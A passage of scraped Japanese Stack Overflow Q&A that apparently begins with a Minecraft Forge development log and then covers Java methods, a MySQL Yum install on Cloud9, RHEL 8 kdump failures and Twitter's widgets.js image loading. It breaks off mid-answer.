20:01:53,572 main WARN Advanced terminal features are not available in this environment\n [20:01:53] [main/INFO] [cp.mo.mo.Launcher/MODLAUNCHER]: ModLauncher running: args [--launchTarget, forgeclientuserdev, --version, MOD_DEV, --assetIndex, 1.19, --assetsDir, C:\\Users\\PC_User\\.gradle\\caches\\forge_gradle\\assets, --gameDir, ., --fml.forgeVersion, 43.2.0, --fml.mcVersion, 1.19.2, --fml.forgeGroup, net.minecraftforge, --fml.mcpVersion, 20220805.130853]\n [20:01:53] [main/INFO] [cp.mo.mo.Launcher/MODLAUNCHER]: ModLauncher 10.0.9+10.0.9+main.dcd20f30 starting: java version 17.0.7 by Eclipse Adoptium; OS Windows 10 arch amd64 version 10.0\n [20:01:53] [main/DEBUG] [cp.mo.mo.LaunchServiceHandler/MODLAUNCHER]: Found launch services [fmlclientdev,forgeclient,minecraft,forgegametestserverdev,fmlserveruserdev,fmlclient,fmldatauserdev,forgeserverdev,forgeserveruserdev,forgeclientdev,forgeclientuserdev,forgeserver,forgedatadev,fmlserver,fmlclientuserdev,fmlserverdev,forgedatauserdev,testharness,forgegametestserveruserdev]\n \n 文字数制限のため関係なさそうな部分を省略\n \n \n [20:01:55] [main/INFO] [cp.mo.mo.LaunchServiceHandler/MODLAUNCHER]: Launching target 'forgeclientuserdev' with arguments [--version, MOD_DEV, --gameDir, ., --assetsDir, C:\\Users\\PC_User\\.gradle\\caches\\forge_gradle\\assets, --assetIndex, 1.19]\n [20:01:55] [main/DEBUG] [mixin/]: Error cleaning class output directory: .mixin.out\n [20:01:55] [main/DEBUG] [mixin/]: Preparing mixins for MixinEnvironment[DEFAULT]\n [20:01:55] [main/DEBUG] [io.ne.ut.in.lo.InternalLoggerFactory/]: Using SLF4J as the default logging framework\n [20:01:55] [main/DEBUG] [io.ne.ut.ResourceLeakDetector/]: -Dio.netty.leakDetection.level: simple\n [20:01:55] [main/DEBUG] [io.ne.ut.ResourceLeakDetector/]: -Dio.netty.leakDetection.targetRecords: 4\n [20:01:56] [main/DEBUG] [os.ut.FileUtil/]: No oshi.properties file found from ClassLoader cpw.mods.modlauncher.TransformingClassLoader@52bf7bf6\n [20:01:56] [main/DEBUG] [os.ut.FileUtil/]: No oshi.architecture.properties file found from ClassLoader cpw.mods.modlauncher.TransformingClassLoader@52bf7bf6\n [20:01:57] [pool-3-thread-1/DEBUG] [ne.mi.co.tr.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/world/level/levelgen/structure/Structure\n [20:01:57] [pool-3-thread-1/DEBUG] [ne.mi.co.tr.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/world/level/block/LiquidBlock\n [20:01:57] [pool-3-thread-1/DEBUG] [ne.mi.co.tr.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/world/level/block/StairBlock\n [20:01:57] [pool-3-thread-1/DEBUG] [ne.mi.co.tr.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/world/level/block/FlowerPotBlock\n [20:01:58] [pool-3-thread-1/DEBUG] [ne.mi.co.tr.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/world/item/ItemStack\n [20:01:59] [pool-3-thread-1/INFO] [minecraft/DataFixers]: Building unoptimized datafixer\n [20:02:00] [pool-3-thread-1/DEBUG] [ne.mi.co.tr.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/world/level/biome/Biome\n [20:02:00] [pool-3-thread-1/DEBUG] [ne.mi.co.tr.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/world/item/BucketItem\n [20:02:00] [pool-3-thread-1/DEBUG] [ne.mi.co.tr.CoreModBaseTransformer/COREMOD]: Transforming net/minecraft/world/effect/MobEffectInstance\n [20:02:01] [Render thread/WARN] [minecraft/VanillaPackResources]: Assets URL 'union:/C:/Users/PC_User/.gradle/caches/forge_gradle/minecraft_user_repo/net/minecraftforge/forge/1.19.2-43.2.0_mapped_official_1.19.2/forge-1.19.2-43.2.0_mapped_official_1.19.2-recomp.jar%23188!/assets/.mcassetsroot' uses unexpected schema\n [20:02:01] [Render thread/WARN] [minecraft/VanillaPackResources]: Assets URL 'union:/C:/Users/PC_User/.gradle/caches/forge_gradle/minecraft_user_repo/net/minecraftforge/forge/1.19.2-43.2.0_mapped_official_1.19.2/forge-1.19.2-43.2.0_mapped_official_1.19.2-recomp.jar%23188!/data/.mcassetsroot' uses unexpected schema\n [20:02:01] [Render thread/INFO] [mojang/YggdrasilAuthenticationService]: Environment: authHost='https://authserver.mojang.com', accountsHost='https://api.mojang.com', sessionHost='https://sessionserver.mojang.com', servicesHost='https://api.minecraftservices.com', name='PROD'\n [20:02:01] [Render thread/INFO] [minecraft/Minecraft]: Setting user: Dev\n [20:02:01] [Render thread/INFO] [minecraft/Minecraft]: Backend library: LWJGL version 3.3.1 build 7\n [20:02:01] [Render thread/DEBUG] [ne.mi.co.ForgeI18n/CORE]: Loading I18N data entries: 5641\n [20:02:01] [Render thread/DEBUG] [ne.mi.fm.ModWorkManager/LOADING]: Using 24 threads for parallel mod-loading\n [20:02:01] [Render thread/DEBUG] [ne.mi.fm.ja.FMLJavaModLanguageProvider/LOADING]: Loading FMLModContainer from classloader cpw.mods.modlauncher.TransformingClassLoader@52bf7bf6 - got cpw.mods.cl.ModuleClassLoader@4a6c18ad\n [20:02:01] [Render thread/DEBUG] [ne.mi.fm.ja.FMLModContainer/LOADING]: Creating FMLModContainer instance for com.example.simplemod.SimpleModmain\n [20:02:01] [Render thread/DEBUG] [ne.mi.fm.ja.FMLJavaModLanguageProvider/LOADING]: Loading FMLModContainer from classloader cpw.mods.modlauncher.TransformingClassLoader@52bf7bf6 - got cpw.mods.cl.ModuleClassLoader@4a6c18ad\n [20:02:01] [Render thread/DEBUG] [ne.mi.fm.ja.FMLModContainer/LOADING]: Creating FMLModContainer instance for net.minecraftforge.common.ForgeMod\n [20:02:01] [modloading-worker-0/DEBUG] [ne.mi.ve.fo.ForgeVersion/CORE]: Forge Version package package net.minecraftforge.versions.forge, Forge, version 43.2 from cpw.mods.modlauncher.TransformingClassLoader@52bf7bf6\n [20:02:01] [modloading-worker-0/DEBUG] [ne.mi.ve.fo.ForgeVersion/CORE]: Found Forge version 43.2.0\n [20:02:01] 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@EventBusSubscriber classes into the eventbus for simplemod\n [20:02:01] [modloading-worker-0/DEBUG] [io.ne.ut.in.PlatformDependent0/]: -Dio.netty.noUnsafe: false\n [20:02:01] [modloading-worker-0/DEBUG] [io.ne.ut.in.PlatformDependent0/]: Java version: 17\n [20:02:01] [modloading-worker-0/DEBUG] [io.ne.ut.in.PlatformDependent0/]: sun.misc.Unsafe.theUnsafe: available\n [20:02:01] [modloading-worker-0/DEBUG] [io.ne.ut.in.PlatformDependent0/]: sun.misc.Unsafe.copyMemory: available\n [20:02:01] [modloading-worker-0/DEBUG] [io.ne.ut.in.PlatformDependent0/]: sun.misc.Unsafe.storeFence: available\n [20:02:01] [modloading-worker-0/DEBUG] [io.ne.ut.in.PlatformDependent0/]: java.nio.Buffer.address: available\n [20:02:01] [modloading-worker-0/DEBUG] [io.ne.ut.in.PlatformDependent0/]: direct buffer constructor: unavailable\n java.lang.UnsupportedOperationException: Reflective setAccessible(true) disabled\n at io.netty.util.internal.ReflectionUtil.trySetAccessible(ReflectionUtil.java:31) ~[netty-common-4.1.77.Final.jar%23146!/:4.1.77.Final] {}\n at io.netty.util.internal.PlatformDependent0$5.run(PlatformDependent0.java:287) ~[netty-common-4.1.77.Final.jar%23146!/:4.1.77.Final] {}\n at java.security.AccessController.doPrivileged(AccessController.java:318) ~[?:?] {}\n at io.netty.util.internal.PlatformDependent0.<clinit>(PlatformDependent0.java:281) ~[netty-common-4.1.77.Final.jar%23146!/:4.1.77.Final] {}\n at io.netty.util.internal.PlatformDependent.isAndroid(PlatformDependent.java:294) ~[netty-common-4.1.77.Final.jar%23146!/:4.1.77.Final] {}\n at io.netty.util.internal.PlatformDependent.<clinit>(PlatformDependent.java:88) ~[netty-common-4.1.77.Final.jar%23146!/:4.1.77.Final] {}\n at io.netty.util.ConstantPool.<init>(ConstantPool.java:34) ~[netty-common-4.1.77.Final.jar%23146!/:4.1.77.Final] {}\n at io.netty.util.AttributeKey$1.<init>(AttributeKey.java:27) ~[netty-common-4.1.77.Final.jar%23146!/:4.1.77.Final] {}\n at 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[modloading-worker-0/DEBUG] [ne.mi.fm.co.ConfigTracker/CONFIG]: Config file forge-server.toml for forge tracking\n [20:02:01] [modloading-worker-0/DEBUG] [ne.mi.fm.co.ConfigTracker/CONFIG]: Config file forge-common.toml for forge tracking\n [20:02:01] [modloading-worker-0/DEBUG] [ne.mi.fm.ja.AutomaticEventSubscriber/LOADING]: Attempting to inject @EventBusSubscriber classes into the eventbus for forge\n [20:02:01] [modloading-worker-0/DEBUG] [ne.mi.fm.ja.AutomaticEventSubscriber/LOADING]: Auto-subscribing net.minecraftforge.common.ForgeSpawnEggItem$CommonHandler to MOD\n [20:02:01] [modloading-worker-0/DEBUG] [ne.mi.fm.ja.AutomaticEventSubscriber/LOADING]: Auto-subscribing net.minecraftforge.common.ForgeSpawnEggItem$ColorRegisterHandler to MOD\n [20:02:01] [modloading-worker-0/DEBUG] [ne.mi.fm.ja.AutomaticEventSubscriber/LOADING]: Auto-subscribing net.minecraftforge.client.model.data.ModelDataManager to FORGE\n [20:02:01] [modloading-worker-0/DEBUG] [ne.mi.fm.ja.AutomaticEventSubscriber/LOADING]: Auto-subscribing net.minecraftforge.client.ForgeHooksClient$ClientEvents to MOD\n [20:02:01] [modloading-worker-0/DEBUG] [ne.mi.fm.ja.AutomaticEventSubscriber/LOADING]: Auto-subscribing net.minecraftforge.client.ClientForgeMod to MOD\n [20:02:02] [Render thread/DEBUG] [ne.mi.co.ca.CapabilityManager/CAPABILITIES]: Attempting to automatically register: Lnet/minecraftforge/energy/IEnergyStorage;\n [20:02:02] [Render thread/DEBUG] [ne.mi.co.ca.CapabilityManager/CAPABILITIES]: Attempting to automatically register: Lnet/minecraftforge/fluids/capability/IFluidHandler;\n [20:02:02] [Render thread/DEBUG] [ne.mi.co.ca.CapabilityManager/CAPABILITIES]: Attempting to automatically register: Lnet/minecraftforge/fluids/capability/IFluidHandlerItem;\n [20:02:02] [Render thread/DEBUG] [ne.mi.co.ca.CapabilityManager/CAPABILITIES]: Attempting to automatically register: Lnet/minecraftforge/items/IItemHandler;\n [20:02:02] [Render thread/DEBUG] [ne.mi.cl.lo.ClientModLoader/CORE]: Generating PackInfo named mod:simplemod for mod file C:\\Users\\PC_User\\eclipse-workspace\\simple_mod2\\bin\\main\n [20:02:02] [Render thread/DEBUG] [ne.mi.cl.lo.ClientModLoader/CORE]: Generating PackInfo named mod:forge for mod file /\n [20:02:02] [Render thread/INFO] [ne.mi.ga.ForgeGameTestHooks/]: Enabled Gametest Namespaces: [examplemod]\n [20:02:02] [Render thread/INFO] [minecraft/ReloadableResourceManager]: Reloading ResourceManager: Default, Mod Resources\n [20:02:02] [modloading-worker-0/DEBUG] [ne.mi.fm.co.ConfigTracker/CONFIG]: Loading configs type CLIENT\n [20:02:02] [modloading-worker-0/DEBUG] [ne.mi.fm.co.ConfigFileTypeHandler/CONFIG]: Built TOML config for C:\\Users\\PC_User\\eclipse-workspace\\simple_mod2\\run\\config\\forge-client.toml\n [20:02:02] [modloading-worker-0/DEBUG] [ne.mi.fm.co.ConfigFileTypeHandler/CONFIG]: Loaded TOML config file C:\\Users\\PC_User\\eclipse-workspace\\simple_mod2\\run\\config\\forge-client.toml\n [20:02:02] [modloading-worker-0/DEBUG] [ne.mi.fm.co.ConfigFileTypeHandler/CONFIG]: Watching TOML config file C:\\Users\\PC_User\\eclipse-workspace\\simple_mod2\\run\\config\\forge-client.toml for changes\n [20:02:02] [modloading-worker-0/DEBUG] [ne.mi.co.ForgeConfig/FORGEMOD]: Loaded forge config file forge-client.toml\n [20:02:02] [modloading-worker-0/DEBUG] [ne.mi.fm.co.ConfigTracker/CONFIG]: Loading configs type COMMON\n [20:02:02] [modloading-worker-0/DEBUG] [ne.mi.fm.co.ConfigFileTypeHandler/CONFIG]: Built TOML config for C:\\Users\\PC_User\\eclipse-workspace\\simple_mod2\\run\\config\\forge-common.toml\n [20:02:02] [modloading-worker-0/DEBUG] [ne.mi.fm.co.ConfigFileTypeHandler/CONFIG]: Loaded TOML config file C:\\Users\\PC_User\\eclipse-workspace\\simple_mod2\\run\\config\\forge-common.toml\n [20:02:02] [modloading-worker-0/DEBUG] [ne.mi.fm.co.ConfigFileTypeHandler/CONFIG]: Watching TOML config file C:\\Users\\PC_User\\eclipse-workspace\\simple_mod2\\run\\config\\forge-common.toml for changes\n [20:02:02] [modloading-worker-0/DEBUG] [ne.mi.co.ForgeConfig/FORGEMOD]: Loaded forge config file forge-common.toml\n [20:02:03] [Forge Version Check/INFO] [ne.mi.fm.VersionChecker/]: [forge] Starting version check at https://files.minecraftforge.net/net/minecraftforge/forge/promotions_slim.json\n [20:02:04] [Forge Version Check/DEBUG] [ne.mi.fm.VersionChecker/]: [forge] Received version check data:\n {\n \"homepage\": \"https://files.minecraftforge.net/net/minecraftforge/forge/\",\n \"promos\": {文字数制限のため省略\n }\n }\n [20:02:04] [Forge Version Check/INFO] [ne.mi.fm.VersionChecker/]: [forge] Found status: UP_TO_DATE Current: 43.2.0 Target: null\n [20:02:06] [Worker-Main-20/WARN] [minecraft/ModelBakery]: Unable to load model: 'simplemod:oringe#inventory' referenced from: simplemod:oringe#inventory: java.io.FileNotFoundException: simplemod:models/item/oringe.json\n [20:02:06] [Worker-Main-20/WARN] [minecraft/ModelBakery]: Unable to load model: 'simplemod:humun_meat#inventory' referenced from: simplemod:humun_meat#inventory: java.io.FileNotFoundException: simplemod:models/item/humun_meat.json\n [20:02:06] [Worker-Main-20/WARN] [minecraft/ModelBakery]: Unable to load model: 'simplemod:super_fuel#inventory' referenced from: simplemod:super_fuel#inventory: java.io.FileNotFoundException: simplemod:models/item/super_fuel.json\n [20:02:06] [Worker-Main-20/WARN] [minecraft/ModelBakery]: Unable to load model: 'simplemod:my_teleport#inventory' referenced from: simplemod:my_teleport#inventory: java.io.FileNotFoundException: simplemod:models/item/my_teleport.json\n [20:02:06] [Worker-Main-20/WARN] [minecraft/ModelBakery]: Unable to load model: 'simplemod:speed_tip#inventory' referenced from: simplemod:speed_tip#inventory: java.io.FileNotFoundException: simplemod:models/item/speed_tip.json\n [20:02:07] [Render thread/DEBUG] [ne.mi.co.ForgeI18n/CORE]: Loading I18N data entries: 5874\n [20:02:07] [Render thread/WARN] [minecraft/SoundEngine]: Missing sound for event: minecraft:item.goat_horn.play\n [20:02:07] [Render thread/WARN] [minecraft/SoundEngine]: Missing sound for event: minecraft:entity.goat.screaming.horn_break\n [20:02:08] [Render thread/INFO] [mojang/Library]: OpenAL initialized on device OpenAL Soft on BenQ GW2283 (NVIDIA High Definition Audio)\n [20:02:08] [Render thread/INFO] [minecraft/SoundEngine]: Sound engine started\n [20:02:08] [Render thread/INFO] [minecraft/TextureAtlas]: Created: 1024x512x4 minecraft:textures/atlas/blocks.png-atlas\n [20:02:08] [Render thread/INFO] [minecraft/TextureAtlas]: Created: 256x128x4 minecraft:textures/atlas/signs.png-atlas\n [20:02:08] [Render thread/INFO] [minecraft/TextureAtlas]: Created: 512x512x4 minecraft:textures/atlas/banner_patterns.png-atlas\n [20:02:08] [Render thread/INFO] [minecraft/TextureAtlas]: Created: 512x512x4 minecraft:textures/atlas/shield_patterns.png-atlas\n [20:02:08] [Render thread/INFO] [minecraft/TextureAtlas]: Created: 256x256x4 minecraft:textures/atlas/chest.png-atlas\n [20:02:08] [Render thread/INFO] [minecraft/TextureAtlas]: Created: 512x256x4 minecraft:textures/atlas/beds.png-atlas\n [20:02:08] [Render thread/INFO] [minecraft/TextureAtlas]: Created: 512x256x4 minecraft:textures/atlas/shulker_boxes.png-atlas\n [20:02:08] [Render thread/WARN] [minecraft/ShaderInstance]: Shader rendertype_entity_translucent_emissive could not find sampler named Sampler2 in the specified shader program.\n [20:02:09] [Render thread/INFO] [minecraft/TextureAtlas]: Created: 256x256x0 minecraft:textures/atlas/particles.png-atlas\n [20:02:09] [Render thread/INFO] [minecraft/TextureAtlas]: Created: 256x256x0 minecraft:textures/atlas/paintings.png-atlas\n [20:02:09] [Render thread/INFO] [minecraft/TextureAtlas]: Created: 128x128x0 minecraft:textures/atlas/mob_effects.png-atlas\n [20:02:09] [Realms Notification Availability checker #1/INFO] [mojang/RealmsClient]: Could not authorize you against Realms server: Invalid session id\n [20:02:13] [Render thread/INFO] [minecraft/Minecraft]: Stopping!\n \n```",
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"body": "eclipseの機能の問題でした\nデフォルトではパッケージプレゼンテーションがフラットになっていたためassetsあたりが非常にみずらくなっておりその解決をchatgptに聞いたらビルドパス＞除外を行えと言われ\nそれを信じたせいでした",
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"body": "クラス`getTime()`で勤務日数`N`、１日の作業開始時間`st`、終業時間`et`を入力する。それらの値を次のクラス`divWage()`へ持っていって計算に使いたいが上手くいかない。クラスの理解が十分でないと考えられるので、ご教示賜りたい。\n\n**現状のコード:**\n\n```\n\n public int [][] getTime(){\n System.out.println(\"勤務日数Nを入力する 例：5\");\n Scanner sc = new Scanner(System.in);\n int N = sc.nextInt(); \n String d = sc.nextLine();\n \n int [][] time = new int [N][2];\n for(int j = 0;j<N;j++){\n for(int k = 0;k<2;k++){\n time [j][k] = sc.nextInt();\n }\n st = time[j][0];\n et = time[j][1];\n divWage(st,et);\n }\n return time;\n }\n \n public void divWage(int s,int e){\n s = st;\n e = et;\n \n }・・・\n \n```",
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"body": "ソースコードを拝読したところ、うまくいかない原因が複数あるように見受けられます。 \nもしかしたらJavaの構文全体についての知識が整理できていないのかもしれません。\n\n下記をご確認の上、教材のテキストなどがありましたら読み返してみてください。 \n質問を加筆修正して、具体的に何が分からないのかを明確にすると的確な回答を得やすくなります。\n\n * `getTime()`と`divWave()`はクラスではなくメソッドです。 \nコンパイルエラーが発生しても良いので、`public class\nHoge`などの構文で記述されているクラスを省略せずに[再現可能な短いサンプルコード](https://ja.stackoverflow.com/help/minimal-\nreproducible-example)の形式で記述してください。\n\n * `st = time[j][0];`や`s = st;`などで変数の型が定義されていません。 \nメソッド内で初めて変数を宣言する場合は、`int st =\ntime[j][0];`のように変数の型を定義しないと「`st`って何それ？食べ物？」とコンパイラが混乱してしまいます。 \nもしも[メンバ変数](https://www.javadrive.jp/start/member/index1.html)として`st`などを定義している場合は、質問文を編集してその情報を補完してください。\n\n * `divWage`メソッドの引数と戻り値は正しいですか？ \nご質問のコードでは、例えばメソッドの引数で`s`を渡していますが、即座に`s = st;`のような代入が発生し、渡された`s`がどこにも利用されていません。 \nそして`public void divWage`は戻り値が存在しない`void`で定義されているので、計算後の数値を`return`できません。 \nもしも`st`と`et`を受け取り、戻り値として小数を返したい場合は`public double divWage(int st, int\net)`のように定義します。",
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"body": "(直接の回答ではないですが、遠回りになりそうに見えたので)\n\n既に付いている回答に書かれている指摘も妥当なものですが、より重要でかつ質問者がすぐできることは、\n\n> 上手くいかない。\n\nの内容を具体的に質問文に追記することです。\n\n * どういう数値を入力したのか\n * その結果、動作としてどうなることを期待していたのか\n * 実際の結果は(期待に反して)どうなったのか \n * 何かエラーが出たのならエラーメッセージはどんなものだったか\n\n用語の誤りや不完全なコードについては(例えば↓のように)ある程度読者が補完することが可能です。 \nまた質問者からすると、困難で修正するのに時間がかかる場合もあるでしょう。\n\n一方、正しく用語が用いられ実行可能なコードが提示されていても上記の情報が無ければ回答不能なことも少なくないです。\n\n```\n\n import java.util.Scanner;\n \n public class App {\n \n private int st;\n private int et;\n \n public int [][] getTime(){\n System.out.println(\"勤務日数Nを入力する 例：5\");\n Scanner sc = new Scanner(System.in);\n int N = sc.nextInt();\n String d = sc.nextLine();\n \n int [][] time = new int [N][2];\n for(int j = 0;j<N;j++){\n for(int k = 0;k<2;k++){\n time [j][k] = sc.nextInt();\n }\n st = time[j][0];\n et = time[j][1];\n divWage(st,et);\n }\n return time;\n }\n \n public void divWage(int s,int e){\n s = st;\n e = et;\n \n System.out.printf(\"%d, %d\\n\",s,e);\n }\n \n public static void main(final String[] args) {\n new App().getTime();\n }\n }\n \n```",
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"body": "developer.sony.comには接続はできるのですが、spresenseの開発ページだけ「page not\nfound」と表示されます。ネットワークやデバイスを変えてみても見れませんでした。 \nもしページを見る方法があれば教えて欲しいです。",
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"title": "spresenseの開発用のページが見れなくなっているのですが、どこかに移動してしまったんでしょうか？",
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{
"body": "コメントの通り、Developer\nWorldの[Home](https://developer.sony.com/ja/spresense/development-\nguides/home_ja.html)からのリンクで各種開発ページを閲覧できます。\n\n今回のご質問は、Googleなどの検索エンジンで下記のようなURLがヒットして「page not found」になることに起因していると予想されます。 \n<https://developer.sony.com/ja/develop/spresense/developer-\ntools/introduction/>\n\nちなみに上記のURLを下記のURLに直接書き換えると目的のページに遷移できます。 \n`/developer-tools/` → `/development-guides/` \n`introduction/` → `introduction_ja.html`\n\nただしページ構成が変わっていて、単純なURL書き換えでは遷移できないURLの方が多いようです。",
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"body": "下記の質問から新しく質問を立てさせていただきます。 \n[Cloud9 上の MariaDB\nを削除したい](https://ja.stackoverflow.com/questions/95255/cloud9-%e4%b8%8a%e3%81%ae-\nmariadb-%e3%82%92%e5%89%8a%e9%99%a4%e3%81%97%e3%81%9f%e3%81%84)\n\n公式ドキュメントとQittaの記事を参考にしつつCloud9にMySQLのインストールを目指しています。\n\n[MySQL :: MySQL 8.0 リファレンスマニュアル :: 2.5.1 MySQL Yum リポジトリを使用して MySQL を Linux\nにインストールする](https://dev.mysql.com/doc/refman/8.0/ja/linux-installation-yum-\nrepo.html) \n[AWS EC2 AmazonLinux2\nMySQLをインストールする](https://qiita.com/miriwo/items/eb09c065ee9bb7e8fe06) \n[【AWS EC2】Amazon\nLinux2にMySQLのclientだけをインストールしてRDSに接続する方法](https://qiita.com/tamorieeeen/items/d9b2af588f1dfd43120d)\n\n現在、MariaDBを削除しまして、公式ドキュメントのMySQL Yum リポジトリの追加からEL7\nベースのシステムのMySQLのリポジトリを追加しようとしているのですが、使用可能なパッケージがありませんと表示されたため何もすることがないというエラーが発生しました。\n\nエラーの詳細はこちらです。\n\n```\n\n ec2-user:~/environment $ sudo yum install mysql80-community-release-el7-7.noarch.rpm\n Loaded plugins: extras_suggestions, langpacks, priorities, update-motd\n 300 packages excluded due to repository priority protections\n No package mysql80-community-release-el7-7.noarch.rpm available.\n Error: Nothing to do\n \n```\n\n試したコマンドは下記のとおりです。\n\n```\n\n sudo yum install mysql80-community-release-el7-7.noarch.rpm\n \n```\n\nエラーの表示は使用可能なパッケージがありませんと言っているのですが、 \nリポジトリの追加のコマンドは上記で正しいでしょうか？\n\n**追記:** \n下記のサイトを参考にMySQLのリポジトリを追加した後にインストールを試みたところ入れることが出来たと思うのですが、確認してもらえないでしょうか？\n\n[AWS EC2 AmazonLinux2\nMySQLをインストールする](https://qiita.com/miriwo/items/eb09c065ee9bb7e8fe06)\n\n```\n\n sudo yum localinstall https://dev.mysql.com/get/mysql80-community-release-el7-7.noarch.rpm\n \n```\n\n```\n\n mysql Ver 8.0.33 for Linux on x86_64 (MySQL Community Server - GPL)\n \n```",
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"title": "MySQL Yum リポジトリの追加でリポジトリの優先保護により何も実行されないのはなぜか？",
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{
"body": "```\n\n No package mysql80-community-release-el7-7.noarch.rpm available.\n \n```\n\nこれは、\"mysql80-community-release-el7-7.noarch.rpm\"というパッケージが見つからなかったという意味です。`yum\ninstall`でパッケージ名を指定した場合、レポジトリから探しますが、ファイル名やURLを指名することで、ファイルやURLからインストールすることが可能です。もし、レポジトリから見つからず、ファイルやURLとしてもパッケージが存在しない場合は上記のようなメッセージが表示されます。\n\n実行するときに\"mysql80-community-release-\nel7-7.noarch.rpm\"というファイルが存在するか確認してください。手順書にも次のように書いています。\n\n> a. MySQL Developer Zone の「Download MySQL Yum Repository」ページ\n> (<https://dev.mysql.com/downloads/repo/yum/>) に移動します。 \n> b. 使用しているプラットフォーム用のリリースパッケージを選択してダウンロードします。 \n> c. ダウンロードしたリリースパッケージを次のコマンドでインストールし、 _platform-and-version-specific-\n> package-name_ をダウンロードした RPM パッケージの名前に置き換えます:\n\n手順書通りしたのであれば、b.でファイルをダウンロードしたはずです。そして、c.で「ダウンロードしたリリースパッケージ」をインストールする書いています。つまり、ダウンロードしたファイルを指定して`yum\ninstall`するのであって、そのファイルが存在しないのコマンドを実行しても意味がありません。",
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"body": "OS：RHEL 8.2 \nメモリ：2048 MB \nプロセッサ：1\n\n上記スペックのDNSサーバのkdump.serviceが動きません。 \n仮想マシンを立ち上げて、以下のコマンドで状態を確認。\n\n`systemctl status kdump.service`\n\n結果\n\n```\n\n ● kdump.service - Crash recovery kernel arming\n Loaded: loaded (/usr/lib/systemd/system/kdump.service; enabled; vendor preset: enabled)\n Active: failed (Result: exit-code) since Mon 2023-06-19 18:22:29 JST; 2min 13s ago\n Process: 1014 ExecStart=/usr/bin/kdumpctl start (code=exited, status=1/FAILURE)\n Main PID: 1014 (code=exited, status=1/FAILURE)\n \n 6月 19 18:22:28 dns.racdomain.jp systemd[1]: Starting Crash recovery kernel arming...\n 6月 19 18:22:29 dns.racdomain.jp kdumpctl[1062]: kdump: kexec: failed to load kdump kernel\n 6月 19 18:22:29 dns.racdomain.jp kdumpctl[1062]: kdump: Starting kdump: [FAILED]\n 6月 19 18:22:29 dns.racdomain.jp systemd[1]: kdump.service: Main process exited, code=exited, status=1/FAILURE\n 6月 19 18:22:29 dns.racdomain.jp systemd[1]: kdump.service: Failed with result 'exit-code'.\n 6月 19 18:22:29 dns.racdomain.jp systemd[1]: Failed to start Crash recovery kernel arming.\n \n```\n\n`systemctl restart kdump.service`\n\n結果\n\n```\n\n Job for kdump.service failed because the control process exited with error code.\n See \"systemctl status kdump.service\" and \"journalctl -xe\" for details.\n \n```\n\n`journalctl -xe`\n\n結果\n\n```\n\n -- Unit kdump.service has begun starting up.\n 6月 19 18:27:24 dns.racdomain.jp kdumpctl[2813]: kdump: kexec: failed to load kdump kernel\n 6月 19 18:27:24 dns.racdomain.jp kdumpctl[2813]: kdump: Starting kdump: [FAILED]\n 6月 19 18:27:24 dns.racdomain.jp systemd[1]: kdump.service: Main process exited, code=exited, status=1/FAILURE\n 6月 19 18:27:24 dns.racdomain.jp systemd[1]: kdump.service: Failed with result 'exit-code'.\n -- Subject: Unit failed\n -- Defined-By: systemd\n -- Support: https://access.redhat.com/support\n -- \n -- The unit kdump.service has entered the 'failed' state with result 'exit-code'.\n 6月 19 18:27:24 dns.racdomain.jp systemd[1]: Failed to start Crash recovery kernel arming.\n -- Subject: Unit kdump.service has failed\n -- Defined-By: systemd\n -- Support: https://access.redhat.com/support\n -- \n -- Unit kdump.service has failed.\n -- \n -- The result is failed.\n \n```\n\n/etc/default/grubにはまだcrachkernelパラメータを追加していません。しかしネット記事でよく見かけるようなメモリ確保が原因のエラーなのでしょうか？\n\nちなみにメモリを10GB積んでいる同じくRHEL\n8.2でもkdump.serviceが起動してこず、そっちでは試しにcrashkernel=autoを追記してgrub2-mkconfig～コマンドを実行、再起動しましたがやはりkdump.serviceはコケてます。\n\n原因がわかる方教えてください。\n\n補足情報：試しにCentOS\n8.2をインストールしてみました。いつも/etc/yum.confにOSとカーネルバージョンだけはアップデートしないように追記して全体のアップデートをかけるのですが、結果、kdumpがコケてました。仕方なくカーネルバージョンも含めアップデートすると起動するようになりました。多分原因はコレな気がしますが、元のOS・カーネルバージョンを保持したい場合はどうすればいいのでしょうか？",
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"title": "RHEL8のkdump.serviceが起動しない",
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{
"body": "/etc/yum.conf \nexclude=kernel-* redhat-release*\n\nこれでアップデートをかけたのがおそらく原因でした。\n\nkmod-* perf* python-perf* microcode_ctl-* \nこれらも除外対象に入れないと後で面倒くさいことになることがわかりました。\n\nupdate前に戻すかupdateしてしまうか迷いましたが、RAC環境構築済だったので戻す方がリスクが高い気がしたためカーネルアップデートして解決しました。\n\nコメントくださった方々ありがとうございます。",
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"body": "ツイートURLを指定して下記コードを読み込むと、URL指定したツイｰトがHTMLに埋め込まれるのですが、 \n<https://platform.twitter.com/widgets.js>\n\nツイート内に画像があるときには、画像も一緒に読み込まれます。\n\nこの時、画像は上記コード内のどこで読込指定していますか？\n\n下記コードが関係あるかな、と思ったのですが、\n\n```\n\n isTwimgURL:function(t){return a.test(t)}\n \n```\n\naは、下記オブジェクトのことですか？\n\n```\n\n a = /^http(s?):\\/\\/(ton|pbs)\\.twimg\\.com/,\n \n```\n\ntestメソッドはどこに書いてありますか？",
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"title": "「https://platform.twitter.com/widgets.js」コード内のどこで画像URLを取得しているのですか？",
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"body": "WebブラウザのDevToolsで確認できるかと思います。(以下Google Chromeの場合)\n\n**Elements** タブで画像が表示されている要素を確認すると次のようになっているのが確認できると思います。\n\n```\n\n <img\n alt=\"Image\"\n draggable=\"true\"\n src=\"https://pbs.twimg.com/media/Fy9bAcwaIAAw6P_?format=jpg&name=900x900\"\n class=\"css-9pa8cd\"\n />\n \n```\n\n(実際には改行はなく1行)\n\n\"読込指定\" というのが何を指すのかにもよりますが、 `img` 要素の `src` 属性で読み込み指定されている、というのも1つの回答になるかと思います。\n\n* * *\n\n**Network** タブで上記 `src` に指定されているURLに含まれる文字列 `Fy9bAcwaIAAw6P_` を全文検索してみると \n`https://syndication.twitter.com/srv/timeline-profile/screen-\nname/[twitterアカウント]?[クエリパラメータ]` \nというリクエストのレスポンスHTMLに含まれる `<script id=\"__NEXT_DATA__\"\ntype=\"application/json\"></script>` タグに囲まれたJSONの `media_url_https`\nプロパティの値として取得しているのが分かります。\n\nので、このJSONが読み込み指定しているデータだということもできそうです。\n\n* * *\n\n同じように **Network** タブで `media_url_https` を全文検索すると、\n\n * 